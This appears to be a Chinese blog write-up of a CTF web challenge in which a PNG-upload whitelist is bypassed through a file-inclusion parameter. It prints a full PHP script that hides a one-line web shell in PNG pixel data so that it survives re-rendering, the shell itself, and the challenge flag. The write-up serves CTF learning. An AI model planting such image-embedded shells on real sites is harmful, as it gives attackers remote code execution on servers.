BMZCTF WEB upload-double

打开页面,是一个上传页面,我们需要上传木马来获取flag

先后尝试了改后缀,00截断等方法均上传不了。而且还有白名单过滤。于是想到了二次渲染。

首先寻找文件包含的页面。观察上传页面的url:

http://www.bmzclub.cn:20320/inc.php?inc=upload.php

'inc'为传参变量。会包含upload.php。

尝试上传一张正常图片。

会看到下面能显示出来我们刚才上传的图片,右键查看源代码:

会得到图片的地址。我们尝试用'inc'来包含这个图片。

会看到图片的代码。说明没有把文件当成图片来解析。说明我们可以利用这个文件包含点。

下面就是来构造木马图片了。

使用国外大神的脚本:

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'./1.png');
?>

使用php运行后,会在目录下生成1.png的图片。

将文件上传。

右键查看源代码,获取文件地址:

使用'inc'来包含:

可以看到只显示了一部分,我们将图片下载,并用010editor打开:

看到了shell语句:

<?=$_GET[0]($_POST[1]);?>

于是我就可以执行我们的命令了:

这样我们就得到了flag:

BMZCTF{278b15fce3ce4268bdbf2f2a173b0340}

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

白帽子社区

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值